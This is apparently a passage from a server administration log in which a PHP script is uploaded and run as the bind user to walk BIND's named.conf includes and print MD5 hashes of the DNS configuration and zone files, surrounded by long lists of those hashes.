MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 16:49:49: Establishing a connection
2026-04-30 16:49:49: 

PUT: /tmp/pkp364402

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 16:49:49: 

runuser -l bind -s /bin/bash -c '/tmp/pkp364402; rm /tmp/pkp364402'

2026-04-30 16:49:49: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
